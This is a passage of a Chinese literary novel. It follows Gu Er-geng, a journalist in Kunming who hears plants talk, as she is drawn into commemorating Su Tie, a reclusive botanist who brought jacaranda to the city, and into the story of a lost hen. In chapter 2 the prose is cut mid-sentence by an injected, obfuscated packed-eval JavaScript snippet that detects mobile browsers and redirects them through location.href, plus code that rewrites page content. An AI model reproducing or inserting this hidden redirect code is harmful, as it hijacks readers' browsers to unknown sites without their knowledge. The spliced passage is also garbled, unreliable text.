《给孤独展示其才》 1. 入门课: 苏铁 一个低调的迷 01 是可以相信童话的年纪了 云南,昆明,一座小院。 “今年多大了?”延胡索问。 “本命年,36”,佘二更答。 老延对着视频通话里的人左看看右看看,整个人因为好奇的摆动填满了画框,“你长得太年轻了。但既然三十多了,那就是--可以相信童话的年纪了。” 对面,二更疑惑地歪了歪头。 “而且,也到了不相信过去读过的童话的年纪了,比如,当你不再相信‘王子公主过上了快乐的日子’这类童话时,你就可以创造自己的童话了。” 二更第一次听这种说法,但她喜欢,于是笑着看老延,也不说话。这张人畜无害的脸好像一个遥控器,不说话也能给人某种引导。 “想让我举个例子啊?”老延思忖着,“好,那就说我自己。我呢,每天都在家里跳舞。我肢体不协调,驾照考了好几次都没考过,所以我不太好意思去外面跳,就在家里跳。我在家跳舞的积极性很高,因为我想,我要把自己看成一个女祭司。我一跳舞,就能散发好的磁场,家里所有的花花草草都能跟着受益。所以它们长得好啊!我家两只猫也跟着受益。 我跳舞,就相当于送祝福,一年三百六十五天,我都在给它们送祝福。一天不送,它们就一天接收不到雨露的润泽。所以,跳舞就成了我在家每天的工作。在阳台上抻抻胳膊,看看芦荟和天门冬,再拐到另一个屋子里晃晃腰,润泽一下熊童子和膨珊瑚。客厅是一定要跳一会儿的,因为我买了一盆还挺贵的天鹅绒海芋。它不是很好养,自从我开始给它跳舞了,每天给它抛几次媚眼,它看起来还不错。卫生间也有一盆青苹果竹芋,它也不好养,我之前养过几次,总是焦边。自从我每次上厕所之后都朝它晃晃屁股摆摆手,它也好了。新买的这一盆,再也没有变黄和焦边。” 二更也喜欢这个故事,不过,她望着视频里老延桌上一盆长势不太好的铜钱草,又觉得似乎该保留一点谨慎。 “它?它是因为养在这里,我在工作室这里又不跳舞。”老延其实也很敏感,她问二更,“你喜欢它吗?喜欢的话,哪天你来我这里,把它带走。” 至此,她对这位前辈约她视频通话的目的,仍未可知。 她叫佘二更。 两年前,来到云南时,房东知道她名字后对着她笑,告诉她:你来对地方了。 西南人民酷爱折耳根,但她花了两三年才适应这个味道。二更是江浙人。这个简洁得有些怪异的名字是母亲取的,一是因为她出生在夜晚九、十点钟,二是因为母亲希望她活得踏实、硬朗。二更的母亲是典型的江南女子,弱小身板,却是国内第一批脚踏实地跑极限运动的记者。一次偶然的机会,因着一位极限运动家在家乡办丧礼,二更的母亲到了山西。这是一个全村从事棺材铺行当的老村子,也是她因生子不得不放下工作之前去过的最后一个村子。村里活到八、九十岁的长寿老人很多。 他们起名,往往有两种方式:要么以出生时的重量来起,例如“张八斤”,要么以出生时辰来定,例如“王六更”。所有老人的家里都从容安放着为自己备好了的上等木料棺材。有些人从四、五十岁时就备下了。母亲在这里,也算参悟了生死,于是福至心灵,决心以这个村的起名传统,为新生的孩子命名。 二更一直相信,如果她是个男孩,母亲或许不必避讳体重,直接给儿子起名“佘六斤”“佘七斤”,让他一直带着这个名字长大,无论他长得帅气还是敦厚。好在,她是个女儿,母亲放了一马,选择了以时辰来命名。但这个名字到底还是有些怪。 二更小时候经常因为名字被嘲笑,但母亲总有她坚定的解释。那个村子里的棺材匠们对生死看得很平淡,家里早就备好了给自己的棺材,就大大方方地在厅堂里放着,家里人谁也不避讳,该吃吃该喝喝。她觉得这种生死观很辽阔,像大江大河,像一望无际的平原。这个涵盖了生死哲学的说辞,支撑了二更三十余年。直到她来到西南,她忽然成了一种植物,一种被西南人喜欢的植物。 “你很像你妈”,老延说,带着重见故人之子时常有的那番感慨,但她忽然又转了话题,问二更,“你染发了?” “大自然染的。”二更答。巧克力金棕。怕是这城市里也找不出能挑染得如此自然的美发师。在高原生活两年多,这是云贵高原给她的礼物。高强度紫外线照射分解了头发里的黑色素,二更的发色渐渐变得如本地女孩子的发色,在太阳下闪着均匀而柔和的金光。 老延回想起多年前她见到二更母亲时的画面。江浙女孩,腮上却有两片红扑扑的高原红,就像突然在高原雪地上开出来的一朵红山茶。如今,她的女儿,头发上也镀上了高原的金棕。 多年前,延胡索曾是二更母亲采访进山的专业向导。延胡索青年时期在西南地区从事极限运动,中年后转向山地文旅。二更记得,母亲刚去世时,她寄居在祖母家。延胡索常来看她。延胡索这些年变化不大。年轻时,她一心只在雪山之间,是不入世俗的少年人。如今年纪渐长,她从雪山走向人间,心宽体胖了一些,历练出了思想者的气质。近几年,延胡索在昆明创办了一系列的短篇纪录片,聚焦从事小众、边缘行业的代表性人物,在传媒圈里以剑走偏锋的风格杀出一道西南清流,对西南纪录片文化与极限运动文化的传播都助力良多。 视频里的延胡索,留着中性风格的小平头,一身运动服,外面套了件口袋里揣满杂物的工装马甲,看起来像一位统筹千人的资深副导,又或是一个资深的钓鱼大佬。延胡索谈话时思维敏捷,逻辑清晰。细看她的眉眼,这其实是一位长得挺漂亮的女性。轮廓鲜明,浓眉大眼,面上很少有痣,隐隐约约一些小的雀斑,随着言谈时的神态很是灵动。眉峰和鼻梁如被雕刻了流畅的骨线,不似男性的凌厉,是独属于飒爽女性的温和弧度。二更记起自己第一次见到这位前辈时,曾产生过一种非常奇妙的感觉,她一下子理解了那句“伟大的灵魂都是雌雄同体”,那是十几岁少女对于中性魅力的直观印象。 这些年,出于与母亲的情谊,老延时常会和二更互通讯息。二更知道,老延的婚姻挺幸福的。老公是一位商人,总是笑嘻嘻的,尽管身材瘦削,也给人一种大肚能容天下事的气度。儿子做云南野生菌的人工驯化研究,性格有棱有角,不太懂得人际周旋,好在他工作大多数时候在实验室,科研能力一直很强,,不难挣得一席之地。儿媳是一位高中老师,温柔小巧,是公婆会喜欢的女孩子,同时也是国内最早一批的知名coser。这一家子凑起来,好像是一盘酸甜苦辣咸什么味道有的家常菜。二更觉得,有这样的家的人,坏不到哪里去。 可老延今天,偏偏抱着一头猪,二更的眼睛不自觉地望着那只眼镜亮亮的小猪。 “找你来,是因为这个”,延胡索把一份活动邀请函递到了屏幕正中央。 “苏铁纪念会”。 苏铁,一种孑遗植物植物的名字。它是中国特有的孑遗植物,这种活化石植物起源久远,在种属上比较孤立。 苏铁,也是一位女士的名字。她生前曾是昆明的一位植物学家。她于上世纪80年代移植成功的蓝花楹,如今在昆明主城区多处扎根成长。 二更望着邀请函上那一抹静谧的浅紫,陷入回忆。 她第一次来昆明时,蓝花楹开得正当时,展现出单纯且与人为善的茂盛。她住在一家红砖墙酒店,窗户推开,就能亲手触摸到一捧蓝花楹。开了的,热烈饱满,发出让人无法拒绝的邀请。轻轻摘一只下来,细看,它像束腰处细得有些夸张的礼裙,很是妩媚。半开的,顶端小花苞还羞涩,虽仍闭合,却已散发出比苦杏仁稍浓一些的咸苦花香。是啊,这花,诚实地说,并不香甜,那就加一点想象力调和吧!二更努力想象出更柔和点的花香,毕竟人总是愿意为了美丽的东西多用一点点脑。 蓝花楹的色彩,在日光下闪出一丝透亮,像泼了一层荧光粉,冰草般晶莹。花朵很轻,风一吹,就摇动。二更分不清是一朵花先动,还是一整枝都在晃动,视野里任何一种沉重的、无法挪动的事物,都跟着它摇曳起来。天上云动,人间花摇,她只觉得周遭一切都荡啊荡,人心也荡阿荡。 夜幕降临,深黑色为底,这一抹紫也格外耀眼。酒店是懂蓝花楹的,所有窗户都换成了蓝紫色。靠近窗户的灯,统一设计成暖黄色调。从外面看,任何时候、任何一间房是否开灯关灯,都无碍这种预先调好的和谐配色。夜晚,亮起来的每一扇窗里,似乎都有浪漫的。 走出去,吃一碗米线,小店摆在街面的桌椅上,也落了蓝花楹。抬头看,夜幕下,花与叶的形状更为清晰,像被夜析出的工笔画。一株三角梅与蓝花楹在夜幕中碰在了一起,一红一紫,很是相宜。二更一瞬间明白了为何西南地区的少数民族喜欢以黑布为底进行刺绣。这样的绣布上,花叶格外绚烂,衬得那再寻常不过的奶黄色的路灯灯罩,都如同夜里不知谁丢下的珍珠。 那应该是她在昆明经历的最梦幻的一段日子了,日日都在读人间可遇不可求的童话。二更几乎处于一中迷醉之中,隔三岔五往种满蓝花楹的街道跑。骑行,步行,清晨,晚上,蓝花楹的姿态和色彩是不同的,她总看不够。如果成年后她还进入过童话,那就是那个春夏之交了。相册里堆满了各种蓝花楹。冲入这么一抹紫,老巷里的色彩一下子灵动起来,连平时不被注意的镂空水泥花墙,老房子上的斑驳卷草纹,都跟着明晰起来。用旧了的栏杆、浸了水渍的白墙,变得像老照片里有故事的道具。人们晾在门外的蓝色牛仔裤、探出厨房的抽油烟机排风气筒、晒在窗外的夏凉被,甚至是倒扣在窗栏上刷好的鞋子、随风飘动的旧床单,再平凡的日常,都被揽进了被蓝花楹眷顾的摇篮中。就算是哪一张拍花了,重了影,也被蓝花楹的曼妙身姿加持,变得像刻意为之的朦胧剧照。 即便过了四、五月份的盛花期,哪怕是在它最寡淡的时刻,只能做一株常绿植物的季节,蓝花楹也活得很精彩。在日光充足的云南,从夏季到秋季,若有心人抬头望,仍会时不时发现某棵树悄咪咪地又结出一串葡萄似的花束,如同戴上了一顶优雅的浅紫色小毡帽。冬季多风,蓝花楹细小的叶子随风飘落,下一场金黄色的迷蒙细雨,让人恍惚间以为看见了金秋时节的桂花或是春夏季节的香樟花。即便是在寒冬里,它的叶子也会变成类似银杏叶的金黄色,并在每棵树、每一列树上呈现出水墨韵味的渐变层次。另外,落下来的蓝花楹果荚也是可爱的。巴掌大小,四边不规则地卷起波浪,像一只只在地面游动的魔鬼鱼,也像80、90后小时候玩过的青蛙玩具,按下去,它们就会蹦很远。 总之啊,这种美好的植物四季多变,浓妆淡抹总相宜。它塑造着昆明的城市气质,更在近几年影响了城市文旅的聚焦点。而这篇童话,原来是苏铁女士在几十年前写下的。 苏铁的纪念活动,两个月前在昆明的一座老建筑石房子里举行。邀请函还附了苏铁的人物简介,没有长长的履历,只有几个字:植物学家。另有三五位友人的回忆。 二更看到了一段这样的叙述: 苏铁在早年丧夫之后,因还年轻,人又很好,所以每隔几个月,就有人来牵线,总想着让她日子更好过一些。但她以想好好睡觉为由,语气很柔和但态度很坚决地拒绝了。细问,答案都是一样的:前夫人挺好,只有一样,让她难以忍受,就是打呼噜。所以自从结婚后,她一个好觉都没有睡过。如今得了个松快的时机,一定要好好睡上几年。再问,再拒,渐渐地,周围人也就罢休了。 苏铁,一睡就睡到了92岁。 苏铁每天起得不晚,约莫是太阳出来之后,就起身。之后梳头。有时候用手指头梳,有时候,用大齿的鱼戏莲花木梳子梳。梳完头,搓热手心,揉脸揉眼。喝一杯前一晚泡在保温杯里的红枣水、苹果水,这一天就开始了。能吃能喝能玩,笑呵呵。中午有空,也会在日光好的地方,躺着小昧一会儿。到晚上8点,又要收拾着睡。8点半就躺上床,有时看看书,李白、白居易的诗,只选敞亮痛快的人的诗词歌赋。9点多就睡着。偶尔,12点会醒一醒。但不妨碍,接着再睡。直到第二天6、7点醒来。如此周而复始。睡得好,人就舒坦,很多烦恼自然而然睡一觉就好了。喝得温暖,总是抱着个保温杯,伤悲就温成了慈悲。越老,苏铁过得就越柔润。 92岁,晒着太阳闻着茶香,离开了这个世界。 二更读得到这平淡文字背后的欣赏与忧伤,像一条悠长的河,留在有风吹着的夏夜里。这段回忆是根据一位叫罗星草的友人的回忆整理的。 邀请函最后附了昆都早报的一则报道,《满城紫烟,源于40多年前的一场邂逅》。报道介绍了蓝花楹的引入概况:原产于巴西、阿根廷的蓝花楹,1984年由中科院昆明植物研究所从阿尔及利亚引进,之后经过各种种源筛选、人工驯化等努力,它适应了国内的环境气候,在昆明、西昌等城市,渲染出一场场蓝紫烟雨。当年引种团队中的核心成员之一,就是从事种源筛选、人工驯化方面的苏铁。 “她似乎是不需要人类也能活的那种人。大多数时候,她在干什么,谁都不知道。”老延说。“几年前,我曾采访过苏铁。我们成了朋友,她一直是我很敬佩的前辈。我也受邀为苏铁撰写一段回忆。但我发现,我对她的了解,少之又少。她在专业上很了不起,但在个人生活方面,我写不出什么具体的故事。她从五十多岁丧夫,到去世,都喜欢独来独往。所以她究竟是一个什么样的人?谁都给不出准确的、全面的答案。这个情况,从我那次纪录片摄制时就存在了。只不过当时我们只聚焦于蓝花楹引入所带来的城市面貌变化,并未聚焦个人,所以,巧妙地略过了。 但她去世后的纪念活动上,这个问题,我们无法回避,但谁也解不开。她太低调了,像一个低调的谜。 但我很坚定地知道,她的人生一定很美妙。能自己呆得住的人,日子里,一定有别人看不到、够不着的美妙。”老延猜测道,“或许,只有蓝花楹懂得她,知道她的故事”。 蓝花楹可以懂吗?它们知道答案吗?那,或许我可以试试。二更在心里默默地想--因为她能听到植物说话。 这个“症状”,已有一段日子了。 第一个和她说话的植物--虽然这听起来有点怪--她试着努力回忆,是路边的一棵香樟树。 入秋后,有天,昆明大风,二更走在路边散步,一边散步,一边有些怨恨这风。它为何总是变换着方向吹?好不容易看准今天顺风,决心出门,笃定了无论走路或者骑行都不会累,一下楼,好嘛,风向立马变掉了。就在她埋怨这风变心太快时,她隐隐约约听到头顶传来一句抱怨,“我也不喜欢这样的风,它总是太过调皮。”二更抬起头,脑袋像个拨浪鼓一样转啊转,依然没有找到任何一个说话的人。只有一条微微晃动的香樟树侧枝,悬在头顶正上方。它似乎,在笑。 第二个,大概是栾树。 从入秋开始,路边的栾树开始结出粉红色的硕果,一串一串的挂在树上,单个看,像粉色的小草莓,形态很轻巧,仿佛一触即破,脆弱又美好。很多蒴果挤在一起,又像是一大串桃红色的葡萄,壮实得让人安心。这真是一种一年四季都会给自己穿好看衣裳的植物啊,二更很是羡慕。她上次路过这里还是夏季。整条路上的栾树都开着鹅黄色的花。如今,它又换了草莓色的裙子。二更在心底默念,“真会装扮自己”。她听到一句很爽朗的“谢谢”。周围没有一个人,那句谢谢,却如此的真切,难不成,真是栾树在应话吗? 诸如此类三两次。有时,是高高的银桦树。若不是因为听见它的声音,身高不足一米六的二更根本不会想到抬头去看一棵三、四层楼那么高的树。有时,是路边的低矮小灌木。比如散步时,她发觉有一只黄色的小菊花从绿化带中逃逸出来。她在心底琢磨它为何逃,而它主动摇晃着身姿,说是“为了和路灯下自己的影子玩游戏”。原来如此,不是为了和天上的哪颗星星去私奔啊,是和自己呀。那朵小花又发出了银铃般的笑声。二更追查了一遍周围散步的人,大多数是老人家,还有一个妈妈带着一个小男孩,那这如小女孩笑声般的回应来自哪里呢?也罢,就当小黄花是一个灵动的女孩吧!有段时间,家里的两盆络石一直长得不太好。她索性把它们藏到了小区常春藤生得十分茂盛的地方,像把两只小老鼠藏在了秘密森林里。她对两盆络石心怀愧疚,每次路过,都会偷偷去看一眼。她和常春藤说,“请帮忙好好照看”。常春藤似乎真的应允了,“会的,会的”。一边的竹林也随风作响,“会的,会的”。 她可以听到植物的话,她在心里默默想的事情,也能够被植物听到,甚至可以一来二去,对上几句。担心是某种精神疾病或是焦虑情绪加重了,二更去医院做了一系列的检查。无果,健康。 那就,听吧!反正植物们只是嘻嘻哈哈,从来没有说过什么伤害她的话。就当自己是个游吟诗人,偶尔,有神来回应。 这段时间,神的回应似乎没有了。如果不是此刻,延胡索桌上的豆瓣绿又在镜头里对着她晃动着笑,她以为自己失去了神的眷顾。 在这失而复得的一瞬间,她意识到,自己开始听到植物的心思,大概,是从撞钟开始的。 这就说来话长了。 来昆明生活,是一个很随机的决定。二更母亲的故事有点老套,受宠的江浙小女儿年轻时爱上一个不被家庭认可的穷小子,为爱奔走他乡,一度断绝了和家里的联系。几年后,夫妻失和,母亲带着女儿独自生活,碍于当年的矛盾,始终没有选择回江浙。直到母亲因意外事故去世,二更才从北方第一次回到江浙,寄身在姥姥家长大。 姥姥家在江南做茶业多年,家境优渥。由于母亲与家庭的复杂关系,二更与这里始终保持着一段礼貌的距离。她是那种在青春期没有得到太多爱、但也并不缺少物质的孩子。没什么好抱怨憎恨厌恶的,也没有特别依恋离不开的。家里有钱,但不是她的钱;成年后做什么都可以,不做什么也可以;大家对她都不错,但也谈不上深爱。尤其是在祖母离世之后,她在大家庭里,更像是一个坐在角落里的客人,最好,不发声。 不如远游。 成年后,她很独立,能做的事情基本上都自己完成,很少麻烦亲人们。她继承了母亲的职业,做了记者。因为经济上相对宽裕,几年后,她从全职转向特约,这样能自如地在许多地方游转。 二更第一次来昆明是因为工作,那大概是2007年前后。工作结束后,二更和同事去了一趟被誉为“昆明之心”的翠湖公园。她俩坐在一棵大树下,在一个阳光明媚的午后,看一群活力四射的中老年人在海棠树下跳舞。不带孙子孙女,不推宝宝车,她们穿着优雅的裙子,踩着带浅跟、中跟、高跟的舞鞋,戴着板正的小礼帽,转啊转啊转啊,彷佛不知疲倦。有舞姿轻盈的,也有如群魔乱舞的,但所有人都自在放松。风被她们带起来,吹向她,又自在地离开。那个午后,她像个被神灵抚摸过头顶的凡人,发了一个多小时呆,只看老人家跳舞。原来,日子还可以这样过。 第二次来昆明是,在2022年春节,那年下了很大的雪。她见识过江浙湿冷的冬季,昆明的雪天,真的不算冷。但她穿错了鞋子,雪地靴在春城的雪中很快被打湿,沉重又阴冷。二更舍不得回室内,还是在雪中的植物园沉迷许久。她确信自己看到了一万朵品种各异的雪天山茶,遇到了三十多个质量不太好的雪人--实话实说,在四季如春的昆明,人们不擅长玩雪,更不擅长堆雪人,但胜在情绪高昂。这场突如其来的瑞雪里,大多数雪人都小小的,歪七扭八,四肢不调,表情坚硬。但管他呢,她能感受到,全城的人都疯了,到处弥漫着一种吃菌后之后浪漫与狂热交杂的兴奋气息。 身在其中,那天,她也有点醉了似的,还差点踩到一个人。二更被一株挂满雪衣的大理山茶树迷住,倒着退步,想拿手机拍下整棵树,却不知身后雪地里竟然躺着一个人。还好,那人撑着伞,在感应到有人即将碰到伞时,大叫了一声,让二更及时闪开了。撑着一把大红伞,穿着一身绿色户外服的人,没有起身,只摇动了下遮住头脸的伞,算是“赦免”了不速之客。二更吁了一口气。她来不及细究那人的性别、年龄和样子,只记住了这个可爱又惊险的瞬间。 第二日,雪就化净了。常年不下雪的地方,很难长久地留住一场偶来的雪。但她很难忘记这场雪。于是,第三次来昆明,二更直接从杭州搬家过来。她正好凑上了一个聚焦西南文化产业的工作项目。当然,也有一部分原因,云南曾是距离母亲生命最近的地方,她有种十分荒凉但又十足亲切的复杂感受。 快两年过去;饿,二更在昆明度过了两轮圆满的四季。但最近也有烦心事。 来的时候,只觉得西南敞亮,一切都生机勃勃的。她被这里的阳光治愈,也被这里的植物惊艳,直接买了一套房子。当时年轻,不排斥热闹,外面再吵,她也觉得这些人是来陪她的。但似乎是今年,年龄上来了,她开始四周甚是吵闹。人不能太勤快,她心想。半年前,她买了个可视挖耳勺,一下子上瘾,每天都要挖呀挖呀挖,耳朵里干干净净,没有任何杂质。这不,没过几天,她就精准地找到了自己的报应--一连小半年,楼上楼下的噪音就没有停过。她的心气像换了个调率似的,动了离开这里的心思。 想着做个告别仪式,以安抚自己的神经为第一目的。二更跑到距离市区最近的森林公园,去金殿凤鸣山的钟楼上,敲了祈福大钟,合理合法地为这个城市制造了很响亮的声音。如果她最近是一颗被噪音折磨得不堪的烂苹果,敲完钟后,她终于安宁地落到了大地上。 就在敲过大钟之后,她开始神奇的幻听了。 她还记得那天,回家路上,路过一家派出所,上面挂着横幅:“遇有奇情需谨慎,刷单好评是诈骗。”能听见植物说话,算奇情吗?是她头脑一热的一厢情愿?还是世界对她的一场恶作剧式的诈骗? “那你还打算待多久?愿意不愿意,再多待一年?”老延的问话,把二更散漫的思绪拉回此刻的视频通话中,“我想就这苏铁女士的这场活动,继续做下去,做一系列的事,大概要花一年时间。” 苏铁纪念活动的举办场所,石房子,是昆明一处特别的古老建筑。延胡索的好友陆均松是它目前的主人。这场纪念活动,让两人感慨良多。两人一合计,考虑在未来一年内,再做几次类似的展览或是文化交流活动。 “类似的?”二更问。 “我的这位朋友,老陆,在今年也失去了一位重要的朋友。那位挚友,和苏铁有些像,也是独自生活多年。”老延解释道。 独居,去世,二更在心里踱着,这个世界上,每天独自死去的可怜人多了去了,很多人会在不为人所知的痛苦中独自死去,不会登上任何一个报纸的版面。但也有这样一种可能,像苏铁女士这样的人,怀着明亮的心,在人世间走了一回,留下很多美好的注脚。在人生某个阶段乃至最终阶段,他们独自生活,也创造了美好的生活。这样的人,或许低调又寡言,但又明亮且自由。 念头一转,二更担心,这样的人,会喜欢被“拎出来”纪念吗?她最近在读一本书,读到过一段某位博物学家生前写下的给自己葬礼的建议:不要穿衣打扮,仅用一条床单包裹;马上将棺材封起来,这样,没人会看到我的不幸;让大教堂的钟声为我鸣响,但城里的其他教堂和医院的钟就不用了;不要招待任何人,也不要接受任何吊唁。这样的葬礼,大概就是那些偏爱安静的人的理想选择。 “我理解你的想法,”老延回应道,“这场纪念活动,并未对苏铁女士的私人生活做过多的窥探。它的出发点是,苏铁女士留下了近500多张有关蓝花楹的摄影作品,每一张都做了非常详细的注解。这是她留给这个世界的礼物。这些礼物,当然值得在不打扰她的时刻--在她离去之后--与一些有缘人相遇。所以......二更啊,你好好想想,感兴趣的话,明天来找我?” 视频通话结束之前,二更没忍住,问了憋了挺久的问题:“它真的不会长大吗?那只猪?”她听说过不少小香猪长成庞然大物的例子。 “应该,不会吧?”,老延的语气并不十分确定,“但先养着嘛!就像,我说的这个事情,我们先做起来,顺利的话皆大欢喜,不顺利的话,中途料理好,也没什么大不了。勿以有限身,常供无尽愁,对吧?”说着,她□□了一下小香猪的头。 02 寻鸡启事 昨晚睡得很晚,二更脑海中,不断浮现出一行字:给孤独展示其才。 十几岁回到江浙时,她常跟外婆去近郊一座茶山上小住。茶山上有个亭子,叫寂照亭。亭上有副楹联,右边的,忘记了,头顶的,忘记了。偏偏只记住左边这一句,“给孤独展示其才”。楹联牌匾的颜色不是常见的红,是青绿色。日晒风吹雨打,它已变成一种无法轻易复刻的蓝绿色,甚至混了一点点紫,像一只活了一万年的绿孔雀的羽毛,滤出了时光的渐变与生命的气息,给人一种熹微晨光在蓝绿色湖面上晃动的奇妙视觉。她很偏爱这一抹色彩上的这一句话。 亭子很显眼,隔很远都能看到,因此,亭中总有人。但是它又很小,人呆在其间要想自在,就最好让它只容得下一个人。亭子很美,路过的人都忍不住看几眼。路人们都有一种默契,如果亭里已有人了,那自己就不必再走过去。于是,二更虽然时常见这个亭子,却从未见过亭里多出一人。每次,只有一个。二更通常是陪姥姥来的,总不能撇下姥姥一个人上去坐。姥姥离世之后,她离开江浙,也再没去过那座茶山。亭子,她从没有一个人静静地待过。 时日久了,亭子好像在记忆里消失了,渐渐变成了少女时期恍恍惚惚的某种幻象。而昨晚,它又再次浮现,二更想在梦中走过去,不料走在途中时,她忽地醒了。 意识还是模糊的,念头却很坚定:苏铁,应该也是会坐在这样一座亭子里的人吧?她很适合那句话,给孤独展示其才。 第二天一早,二更主动打电话约时间。她来到老延院子的时候,小香猪被安放在了一把看起来靠背斜度很舒服的竹椅上。余光瞥见二更来了,老延正式地宣布,她给小香猪起名叫“不满百”,还对着不满百郑重地说,“我们一定不会长肥的,对不对?”然后她自问自答,“对!” 老延的院子在世博园附近,这一片地界山明水秀,处在一座小山包的半山腰上,一天之中的大多数时间都能晒得到很好的太阳。院子里的枇杷树结了果,两株金桂也开着,几树丰满的金黄,溢着明朗的香气。 日光正好,老延把一堆故纸堆搬到天井,准备下午一边晒太阳,一边拉着二找东西。 要找的是一份二十几年前的旧报纸。“应该是1999年、2000年左右?是个夏天。你看,就在这个靠近中缝的地方,找一个小方块,寻物启事。但那一份报纸很特别,是一小格的寻鸡启事。” 中缝也有这么多字?二更忆起小时候看《中国电视报》之类的报纸,中缝处密密麻麻地印着一些热播剧的剧情,也有商业广告。过去的报纸寸土寸金。中缝里登广告的费用或许也不低。不过....... 这“寻鸡启事”,是个啥? “说来话长。总之,我们先找,找到再说。”老延又挼了一把不满百,开始撅起屁股俯身工作。 二更有一点幽微的觉察,老延神色有点失落。照她那种很喜欢打趣人的性子,说起《寻鸡启事》这种好玩的事,竟如此简短匆忙,甚至让二更捕捉到一丝飞速略过的忧伤。 两个人趴在地上找。半小时后,二更挥起一张右下角印有《寻鸡启事》的旧报纸。兴奋只持续了一分钟,就陷入迷茫。因为知情者老延不言不语,只泡了一杯浓浓的绿茶。茶在杯底铺得挺厚,不尝,都猜得出怕是有些苦了。 老延看着这张报纸,独饮了快一刻钟。二更只好拿起报纸,出声地读了一遍: 《寻鸡启事》 阿扎,三岁母鸡,白色,尾带黑。 阿扎于两日前,于纂新菜市场一带走失。 模样见图。重金寻鸡。寻回必谢! 老延记错了,这则寻鸡启事字数不多,没在中缝处,而是十分正式地出现在了那份报纸的A10版面上。 2000年,昆都早报足足有12个版面。一些老百姓拉拉杂杂的民生问题集中在第10版。阿扎的信息在右下角,留了主人的联系电话座机号码,除了文字,还有一则小画。小画没有署名。 “这小画,简单几笔,却把阿扎画得好......神气”,二更有些犹豫,她不知道说一只鸡脾气不好会不会不太礼貌,对阿扎不礼貌?还是对阿扎的主人不礼貌?她说不好。但小画确实很生动地诠释了一只脾气不好的鸡是什么模样。它昂首挺胸,眼神犀利,眼神和身姿的走向不同,形成了一种奇特的张力,看起来就很不好惹。 终于,老延开口了。“阿扎,就是脾气不好。不过她经常下蛋,是个好母鸡。开心的时候每天下一个蛋,不开心的时候三天下两个蛋”。 “这你都知道?!”二更很是惊讶。 “知道啊”,老延吞了一大口茶,花了些力气咽下去,接着说,“二十多年前,我和老康、老陆就是因为这只母鸡认识的。那时候,老康是小康,是个摄影师。老陆是小陆,是个实习记者。我们,都很年轻。” “那您是......” “我是帮忙找到阿扎的好心人啊!”老延的语气里终于多了一丝活气。 许多年前,延胡索去纂新菜市场买菜,看见一只鸡,气质独特。菜市场里好多人,大家都当它是哪个摊子丢的鸡,主人一定会来找,就没当回事。而她觉得这只鸡有点不寻常。人来人往,无数双腿,它丝毫不畏惧,简直是闲庭信步。她一直跟着跟着鸡走出了菜市场,走到了一个老小区门口。鸡竟然找了一个角落,下了一个蛋! 那周围一片是红砖小楼,外面围着一扇矮墙。肯定有门,但母鸡没走到大门,就忍不住要生了。母鸡生完蛋之后,想翻墙,但下完蛋太累了,翻不过去。老延看着它象征性地扑闪了几下翅膀,始终动不了。这个忙,一定得帮,老延心想。就在她抱起母鸡,找小区大门想要进去时,有人大喊了一声,“阿扎!” “给我吓一跳啊。”老延回忆道。 当年地方报纸很有人情味,很多杂七杂八的小事儿都会登上报纸。丢鸡这个事不算很特殊,但因为丢鸡的人比较特殊,报社还是给开了一个口子。阿扎的主人是一个老太太,是市里的劳模,以前在昆明百货大楼上班,专卖童装。老太太人很慈祥,能记住很多孩子的名字、身高、体型和颜色喜好,甚至连哪个膝盖更容易磨破,都能记得。那个年代, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294804|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大多数小孩儿一年大概只有两次买新衣的机会,一次是过年,一次是生日。大人、孩子都喜欢去找她买衣服。除此之外,每到换季,百货大楼有服装过季折扣,她的老主顾也会来。她退休那年,昆都早报刚好策划了一期“平凡英雄”系列,聚焦各行各业的劳模。老太太是其中之一。一年后,老太太丢了阿扎。老太太心脏不好,连续几天睡不着。家人没办法,这才拜托之前采访过她的记者朋友帮忙,刊登个启事。他们愿意出双倍价钱,把阿扎找回来。 “我抱着阿扎进院子的时候,老太太眼睛都红了。她说,前几天小孙子来,把鸡窝门打开了。就这么一夜,阿扎就跑出去了,还飞出了外墙。老太太啊,把这个鸡当宠物养。和现在年轻人把猫猫狗狗当自己娃一个道理,甚至比这还亲。毕竟阿扎还下蛋呢,她成天吃人家的辛辛苦苦下的鸡蛋,感情肯定不一样。老太太看电视的时候,都要抱着阿扎一起,每天还要用小毛巾给她擦擦身上,擦擦爪子。要不是家里人拦着,她能搂着它睡觉。”老延说罢,喝了口水,又补充道,“她那个年纪,喜欢一只母鸡,大于一个人,可能你会觉得奇怪,但人活久了,喜欢一点奇怪的东西,特别正常”。 老延见义勇为把鸡找到之后,老太太立马给记者挂了电话,说好心人把阿扎送回来了。傍晚,报社来了人,老延刚好还在。三个年轻人,就这么相见了。 老太太的家是一个很柔软的家,哪里都很软和。老太太织了毛线毯子,老人家喜欢那种颜色很艳的线,蓝色的,红色的,黄色的,都很显眼,但坐上去,毛线很柔软。三个年轻人有点局促地坐在同一张沙发上,屁股下各自垫着花花绿绿的垫子,一起听老太太激动地讲述着阿扎多好、脾气多坏、她和阿扎多好、阿扎跑了真坏......半个小时后,三人婉拒了留下吃饭的邀请。一出小院,他们就决定今晚一起吃一顿,喝点小酒。 “你们就这样成了朋友?”二更问。 “那肯定不只那么简单。那是夏天,我们在老小区旁边一家餐馆,吃了个苦瓜炒土豆丝、豆芽炒肉。不知道是土豆发芽了还是苦瓜坏了,当晚,我开始上吐下泻。第二天一问,他俩也一样。这不巧了么!我们仨,是过了命的交情了。都好了之后,我们特意找了一家好的馆子,三个人凑了一顿大的,好好吃了一顿。因为当时大家都穷,这之后,三个人都饿了小半个月。我们这样才成了朋友。 